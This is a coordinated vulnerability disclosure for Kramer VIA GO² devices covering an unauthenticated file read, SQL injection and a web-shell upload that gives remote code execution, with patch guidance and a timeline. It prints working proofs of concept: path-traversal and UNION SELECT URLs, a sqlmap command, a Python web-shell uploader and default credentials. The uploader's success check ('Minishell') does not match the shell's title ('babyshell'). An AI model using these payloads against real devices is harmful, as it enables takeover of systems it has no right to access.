Introduction
Kramer VIA GO² devices were vulnerable to multiple issues, including:
- Unauthenticated arbitrary file read (CVE-2023-33507)
- Unauthenticated SQLi (Squeely) (CVE-2023-33509)
- Unauthenticated file upload resulting in RCE (CVE-2023-33508)
By chaining with previously discovered privilege escalation through misconfigured Sudo rules (CVE-2021-35064), it was possible to completely take over a device from an unauthenticated standpoint.
Throughout the disclosure process, Kramer have been exceedingly helpful and responsive. They were quick to confirm the issues and release a patch that fully resolves the issues.
What is a Kramer VIA GO²?
VIA GO² gives iOS, Android, Chromebook, PC, and Mac users instant wireless connectivity with 4K advanced presentation capabilities. Kramer’s new VIA 4.0 is all about the end user. The new VIA application UI is intuitive, user-friendly and much easier to use. VIA 4.0 enables any user, including guests, to easily and securely connect and automatically disconnect at the end of the session.
After finding a device with default credentials (su:supass
), it was discovered that it was possible to upload a font with an arbitrary extension and no content restrictions. This meant it was possible to upload a font which is actually a PHP script with the extension .php.
Once the path on disk was found, visiting directly in a browser would execute the PHP file and allow a user to perform commands on the underlying operating system.
From there, we created a dump of the available web application/PHP source code. The code was protected using IONCube, however this was bypassed using commonly available tools such as easytoyou.eu
.
Available handlers were reviewed for issues and the three high severity vulnerabilities were discovered. It is likely that there are more within the codebase, and our audit of the code was in no way exhaustive.
After reviewing the latest firmware for these devices (4.0.1.1326), we noted that the handlers were not included with the Debian package. The file runpkg.sh
, which is run as part of the update process, contained the following commands:
...
rm -rf /var/www/html/downloadRecording.php
rm -rf /var/www/html/downloadMedia.php
rm -rf /var/www/html/UploadWallpaper.php
...
This indicates that these endpoints should be removed by a firmware update.
While the firmware itself is password protected, simply by decoding the source code the decryption password was discovered.
Proofs of concepts
Unauthenticated file read (CVE-2023-33507)
The following endpoint allowed for the contents of arbitrary files on the file system to be retrieved:
http://XXX/downloadRecording.php?file=/etc/passwd
Unauthenticated SQLi (CVE-2023-33509)
This could be exploited with the following sqlmap command:
sqlmap -u 'https://XXX/downloadMedia.php?medId=*' --dbms mysql --risk 3 --level 5 --technique B --threads 10
As an added bonus, the contents of arbitrary files could be obtained with the following payload:
https://XXX/downloadMedia.php?medId=-1+UNION+SELECT+"/../../../../etc/passwd"
Unauthenticated RCE via File Upload (CVE-2023-33508)
This issue can quickly be identified by attempting to access the endpoint:
http://XXX/UploadWallpaper.php
If this handler returns the message “Please enter the image to upload
” it is very likely to be vulnerable.
The following Python payload can be used to obtain RCE:
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
SHELL = '<html><head><title>babyshell</title></head><body><pre><?php echo $_REQUEST["cmd"]; ?></pre><br/><pre><?php echo system($_REQUEST["cmd"]); ?></pre></body></html>'
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target.com|1.2.3.4>")
exit(1)
target = sys.argv[1]
url = f'https://{target}/UploadWallpaper.php'
print("Uploading shell")
resp = requests.post(url, files={'data': ('zx.php', SHELL)}, verify=False)
if "Image added sucessfull" not in resp.text:
print("Shell failed to upload")
exit(1)
print("Shell uploaded. Checking shell")
url = f"https://{target}/uploads/large/zx.php"
resp = requests.get(url, verify=False)
if "Minishell" not in resp.text:
print("Shell failed")
exit(1)
print("Shell available at:", url)
Potential Impact
Complete device compromise is possible, either via the RCE or obtaining user passwords via the Squeely.
How to Fix It
First update to version 4.0, then apply version 4.0.1.1326 or later.
Vulnerability Disclosure Timeline:
- 21/02/2023 Disclosed issue to CERT NZ
- 09/03/2023 Response from Vendor
- 17/03/2023 Vendor released patched firmware to ZX. ZX identified that the patch removes the vulnerable endpoints.
- 31/05/2023 CVEs assigned